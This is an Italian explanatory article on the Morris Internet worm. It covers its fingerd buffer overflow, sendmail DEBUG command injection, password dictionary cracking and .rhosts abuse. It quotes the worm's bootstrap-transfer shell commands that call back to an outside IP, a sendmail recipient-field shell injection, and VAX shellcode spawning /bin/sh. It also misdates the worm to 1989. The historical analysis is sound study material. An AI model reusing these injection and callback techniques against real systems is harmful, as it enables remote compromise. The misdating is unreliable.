I Worm rappresentano i virus dei sistemi Unix, o meglio diciamo che sono attacchi che meglio si addicono a questi sistemi, perchè sfruttano alcune peculiarità particolari legate all'ambito delle reti.La differenza sostanziale con i virus è rappresentata dal tipo di infezione praticata dalle 2 entità; mentre per i primi la modalità di infezione avviene copiandosi in programmi "sani" o nelle informazioni di caricamento di sistema sui dischi o dischetti, per i Worm l'attacco è autosufficiente, non necessità cioè di altri programmi per infettare la macchina, ma caratteristica più importante la diffusione avviene via rete sfruttando protocolli e sistemi di rete, per questo i Worm trovano nei sistemi UNIX un ambiente ideale. Una caratteristica importante dei Worm è la riproduzione remota, infatti dopo che l'utente dell'hosts si è accorto e ha cancellato l'infezione, l'attacco può essere riprodotto al nuovo collegamento con la rete. In questo articolo verrà focalizzata l'attenzione sul primo Worm della storia dell'informatica che nel Novembre 1989 mise letteralmente in ginocchio la "madre delle reti", questo Worm rappresenta una descrizione generale di questo tipo di attacchi. Il virus o meglio Worm che colpì internet fu ad opera di uno studente della Cornell University di nome Morris che può essere considerato il primo hacker della storia dell'informatica.
Il funzionamento del Worm era relativamente semplice; quando il virus entrava nel sistema, il sistema operativo creava il processo per l'esecuzione. L'esecuzione del virus era costituita da due parti:
L'utility Fingerd è un programma adibito a dare informazioni sugli utenti collegati a un sistema, viene quindi usato per controllare alcune informazioni sugli utenti come numero di telefono, indirizzo, etc.; ed è paragonabile a una agenda elettronica. Il demone Fingerd è un programma che accetta richieste remote su una particolare porta leggendo una riga in input e processando la relativa risposta in output al richiedente (tutto naturalmente via socket); il bug o exploit risale alla caratteristica comune di molte routine di I/O presenti nelle librerie del C che non controllano la dimensione dei buffer in gioco, permettendo di uscire dallo stack e prendendo privilegi diversi dai propi. Le routine di I/O non sono le uniche ad avere questi bachi, la tecnica del buffer overrun viene usata sempre piu spesso, e anche se i programmatori più esperti la conoscono continuano a usare queste routine nei loro programmi senza porsi problemi particolari.
Il secondo strumento nelle mani del Worm è Sendmail uno dei piu datati servermail che è stato prodotto dall'Università di Berkeley, e viene usato per l'instradamento di messaggi di posta elettronica attraverso reti diverse tra loro.Il demone può operare in diverse modalità ma quella sfruttata dal Worm è quella che lo vede come server in ascolto sulla porta 25 in modalità di DEBUG. Il bug o exploit di sendmail come abbiamo già detto è riferita alla modalità di DEBUG del demone; il Worm infatti cerca in questa modalità di inserire una serie di comandi al posto dell'indirizzo dell'utente che vengono eseguiti con i permessi del demone e quindi dell'amministratore.Nella modalità normale il DEBUG è disabilitato, ma può essere usato come test per il server Mail; cosi facendo l'amministratore può monitorare sendmail in casi specifici, visto anche la complessità di configurazione di questo programma, che se da una parte rappresenta una potenza ineguagliabile, dall'altra nelle mani di un amministratore inesperto diventa una buco di sicurezza enorme.
La terza chiave d'attacco del Worm è quella diretta alla scoperta delle password di un dato server. Questa è data dai permessi in lettura del file delle password e dal algoritmo di criptazione DES che è reso pubblico; in questo modo si può tentare attraverso la comparazione di parole criptate con l'algoritmo e quelle contenute nel file /etc/passwd di trovare le password.Il Worm cerca quindi attraverso un potenziale vocabolario di scoprire le eventuali password del sistema, le statistiche evidenziano che questo metodo porta alla scoperta del 50% delle password che di solito vengono associate a nomi di uso comune. Una protezione a questo attacco è l'uso ormai presente in tutti i sistemi Unix delle shadow password; infatti con questo meccanismo il file contenente la criptazione delle password è posto solo in lettura per l'amministratore. Una volta trovati gli account il Worm mette il file .rhosts nella directory dell'utente in modo da avere accesso senza l'uso di password alla macchina. Affronteremo adesso una descrizione più dettagliata del Worm.
Il Worm è composto da 2 parti: un programma principale e un bootstrap o vector program. Il programma principale una volta stabilita la connessione con una macchina, cerca di reperire quante più informazioni possibili per il collegamento ad altre macchine, queste informazioni si possono trovare o controllando i file di configurazione, o eseguendo utility di rete presenti nel sistema; il Worm cerca poi di sfruttare i difetti precedentemente descritti: exploit shell, remote per eseguire il bootstrap in ogni macchina infettata. Il vector program è un programma di 99 linee scritto in codice C che deve essere compilato sulla macchina remota, in modo da poter infettare più architteture.Il vector program dopo essere compilato viene lanciato con 3 parametri: IP della macchina vittima, il numero di porta della macchina attraverso cui si prende il main del Worm e un numero magico che viene usato per il trasferimento del main del Worm, Se il numero magico non viene ricevuto, il server si disconnette immediatamente dal vector program, perchè presuppone un possibile spoofing. Il programma quando riceve sulla linea di comando l'opzione image si forka creando una copia di se stesso; nel caso di trasferimento fallito vengono cancellati tutti i file trasferiti e l'esecuzione termina. Quando il bootstrap stabilisce la connessione su una macchina, cerca di connettersi al main e trasferire i file precompilati (del main) per quella particolare architettura, e per quella versione di sistema operativo, che rende dipendenti i programmi dalle librerie dinamiche. Una curiosa caratteristica che è rimasta ancora insoluta era il perchè il programma adibiva un'area di trasferimento di 20 file, se in realtà ne usava solo 3 ,forse il Worm era stato pensato per poi essere ampliato e trasferire magari trojani e altre cose di questo genere. Una volta che il file binario è stato trasferito, il bootstrap carica il file lo linka con le librerie del sistema operativo, in modo da poterlo eseguire. Se l'esecuzione va a buon fine viene caricata una copia del bootstrap e dei file in memoria e vengono cancellate le copie su disco, altrimenti in caso di fallimento il bootstrap avrebbe cancellato le traccie dell'infezioni precedenti all'esecuzione del Worm.
Scendiamo adesso un ulteriore gradino della nostra descrizione, in modo da affrontare il comportamento del Worm ad un livello più basso. La descrizione parte dal punto in cui almeno un hosts è infettato. A questo punto abbiamo un Worm che è in esecuzione su una macchina e riesce a stabilire una connessione TCP (finger, SendMail, o altri exploit descritti precedentemente) in modo da spedire il bootstrap su un'altra macchina da infettare:
Trasferimento da parte del Worm del bootstrap sulla macchina infettata
PATH=/bin:/usr/bin:/usr/ucb cd;/usr/tmp echo gorch49; sed '/int zz/q' > x14481910.c; echo gorch50 [testo del bootstrap] int zz; cc -o z14481910 x14481910.c;./x14481910 128.32.134.1632341 8712440; rm -f x14481910 x14481910.c; echo DONE;la visualizzazione della stringa DONE è l'avvertimento che il Bootstrap è in esecuzione.
rcpt to: <"!sed -e '1,/*$/'d! /bin/sh;exit 0"> data cd /usr/tmp cat > x14481901.c << 'EOF' [testo del bootstrap]EOF cc -o x14481910 x14481910.c; x14481910 128.32.134.16 32341 8712440; rm -fx14481910 x14481910.c quitIl Worm aspetta poi poco piu di due minuti in ascolto sulla porta designata che il vector program si metta in contatto.
PATH=/bin:/usr/bin:/usr/ucb rm -f sh
if [ -f sh ] then P=x14481910
else P=sh
fi
Successivamente per ogni binario trasferito si manda la seguente sequenza di comandi:
cc -o $P x14481910, sun3.o ./$P -p $$ x14481910,sun3.o x14481910,vax.o x14481910,11.c rm -f $PIl comando rm viene eseguito solo se l'esecuzione del Worm fallisce; infatti se il Worm si accorge che l'host è giàinfettato la connessione viene chiusa, altrimenti se l'esecuzione fallisce vengono cercati tutti i file oggetto e cancellati in modo da non lasciare traccia dell'infezione.
pushl $68732f '/sh\0' pushl $6e69622f '/bin' movl sp, r10 pushl $0 pushl $0 pushl r10 pushl $3 movl sp,ap chmk $3bQuando questa routine ritornava nel main veniva eseguita: execve("/bin/sh", 0, 0) (una shell con i permessi di root), Sui sistemi VAX Il Worm aveva cosi una remote shell connessa via TCP. Il Worm procedeva poi a infettare la macchina dal passo 1 al passo 2.
Riccardo:akddfsafrewaf:100:5:user, Name:/usr/Riccardo:/bin/sh